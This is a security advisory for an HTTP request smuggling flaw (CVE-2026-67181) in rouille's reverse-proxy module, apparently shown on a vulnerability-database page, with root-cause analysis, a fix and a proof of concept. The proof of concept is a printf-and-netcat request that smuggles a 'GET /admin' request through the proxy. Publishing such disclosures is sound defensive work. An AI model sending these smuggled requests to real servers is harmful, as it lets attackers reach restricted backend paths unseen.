Lucene search
+L

📄 rouille 3.6.2 HTTP Request Smuggling

🗓️ 29 Jul 2026 00:00:00Reported by Theodosis PaidakisType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 14 Views

Rouille forwards Transfer-Encoding and dechunks the body, enabling HTTP request smuggling.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-67181
28 Jul 202616:10
attackerkb
cve
CVE
CVE-2026-67181
28 Jul 202616:10
cve
cvelist
Cvelist
CVE-2026-67181 Rouille 0.3.3 - 3.6.2 HTTP Request Smuggling via proxy Transfer-Encoding Header
28 Jul 202616:10
cvelist
debiancve
Debian CVE
CVE-2026-67181
28 Jul 202616:10
debiancve
euvd
EUVD
EUVD-2026-49890
28 Jul 202616:10
euvd
nvd
NVD
CVE-2026-67181
28 Jul 202616:20
nvd
osv
OSV
CVE-2026-67181 Rouille 0.3.3 - 3.6.2 HTTP Request Smuggling via proxy Transfer-Encoding Header
28 Jul 202616:10
osv
osv
OSV
DEBIAN-CVE-2026-67181
28 Jul 202616:20
osv
ptsecurity
Positive Technologies
PT-2026-65525
28 Jul 202600:00
ptsecurity
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-67181
29 Jul 202600:00
nessus
Rows per page
# Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
    
    **Assigned CVE ID:** CVE-2026-67181
    
    ## Summary
    
    `rouille::proxy::proxy` forwards the client's `Transfer-Encoding` header to the
    backend unchanged, but writes the request body that `tiny_http` has already
    de-chunked. It never emits a `Content-Length` of its own. The backend is told the
    body is chunked and handed bytes that are not chunked, so the client, not
    rouille, decides where the backend thinks the body ends.
    
    ## Affected versions
    
    Repo URL: https://github.com/tomaka/rouille
    
    | | |
    |---|---|
    | First affected | 0.3.3 (2016-12-03), the release that introduced `src/proxy.rs` |
    | Last affected | 3.6.2 (2023-04-24), the current release |
    | Not affected | 0.3.2 and earlier, which have no proxy module |
    | Fixed in | no fixed version at time of writing |
    
    `src/proxy.rs` is byte-identical between the 3.6.2 tag and current `master`.
    Only applications calling `proxy::proxy` or `proxy::full_proxy` are affected.
    
    ## Severity
    
    CWE-444 (Inconsistent Interpretation of HTTP Requests).
    
    CVSS 4.0 base score 6.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
    
    ## Threat model
    
    A remote, unauthenticated client sending raw HTTP to a rouille application that
    acts as a reverse proxy. No credentials or user interaction are needed.
    
    The impact depends on the backend. Backends that pipeline regardless of
    `Connection: close`, and any connection-pooling intermediary sitting between
    rouille and the origin, will act on the smuggled request. Backends that honour
    `Connection: close` still end up with a request body different from the one the
    client sent and the one rouille observed.
    
    ## Root cause
    
    `tiny_http` de-chunks whenever any `Transfer-Encoding` header is present and
    discards `Content-Length`.
    
    `tiny_http-0.12.0/src/request.rs`, lines 149 to 159:
    
    ```rust
    149      // finding the content-length header
    150      let content_length = if transfer_encoding.is_some() {
    151          // if transfer-encoding is specified, the Content-Length
    152          // header must be ignored (RFC2616 #4.4)
    153          None
    154      } else {
    ```
    
    `tiny_http-0.12.0/src/request.rs`, lines 218 to 221:
    
    ```rust
    218      } else if transfer_encoding.is_some() {
    219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
    220          // over the message (RFC2616 #3.6)
    221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
    ```
    
    `rouille/src/proxy.rs` then forwards every header except `Connection` and copies
    the decoded body. Lines 167 to 174:
    
    ```rust
    167          if header == "Connection" {
    168              continue;
    169          }
    170  
    171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
    172      }
    173      socket.write_all(b"Connection: close\r\n\r\n")?;
    174      io::copy(&mut data, &mut socket)?;
    ```
    
    The client's `Transfer-Encoding: chunked` survives line 171. Line 174 writes the
    plaintext that `Decoder` produced. No `Content-Length` is ever written, so the
    backend has nothing else to frame on and applies chunked parsing to plaintext
    the attacker chose.
    
    ## Proof of Concept
    
    Step 1. Start a raw listener on port 8001 to act as the backend and show the
    bytes rouille sends.
    
    ```sh
    nc -l 127.0.0.1 8001 | cat -v
    ```
    
    Step 2. Start a rouille front end on port 8000.
    
    ```rust
    use rouille::proxy;
    
    fn main() {
        rouille::start_server("127.0.0.1:8000", |request| {
            proxy::full_proxy(request, proxy::ProxyConfig {
                addr: "127.0.0.1:8001", replace_host: None,
            }).unwrap()
        });
    }
    ```
    
    Step 3. Send a correctly chunked request whose decoded body is itself a chunked
    stream that ends immediately, followed by a second request. The single chunk is
    0x3d = 61 bytes long.
    
    ```sh
    printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
    ```
    
    Result. The listener from step 1 shows rouille announcing chunked framing and
    then sending plaintext:
    
    ```
    POST /public/upload HTTP/1.1
    Host: x
    Transfer-Encoding: chunked
    Connection: close
    
    0
    
    GET /admin HTTP/1.1
    Host: x
    X-Smuggled: yes
    
    ```
    
    A backend honouring `Transfer-Encoding: chunked` reads the chunk-size line `0`,
    concludes the body is empty, and parses the remaining 56 bytes as a new request.
    
    ## Impact
    
    The backend's view of the request body differs from both the bytes the client
    sent and the bytes rouille read. Anything upstream that logs, audits, or mirrors
    the body records something other than what the backend acted on.
    
    Where the backend pipelines despite `Connection: close`, or where a
    connection-pooling intermediary sits between rouille and the origin, the trailing
    bytes become a second request with an attacker-chosen method and path.
    
    The client's `Content-Length` is also forwarded even though `tiny_http` ignored
    it, so a backend that prefers `Content-Length` over `Transfer-Encoding` gets a
    CL.TE desynchronisation directly.
    
    ## Remediation
    
    Do not forward framing headers that describe a body rouille has already decoded.
    In `src/proxy.rs`, extend the skip at line 167:
    
    ```rust
    if header.eq_ignore_ascii_case("Connection")
        || header.eq_ignore_ascii_case("Transfer-Encoding")
        || header.eq_ignore_ascii_case("Content-Length")
    {
        continue;
    }
    ```
    
    Then emit framing that matches what is actually written: buffer the body and
    send an accurate `Content-Length`, or re-chunk it and send
    `Transfer-Encoding: chunked` yourself, before the terminating `\r\n\r\n` on
    line 173.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.15.4
CVSS 46.3
EPSS0.00292
SSVC
14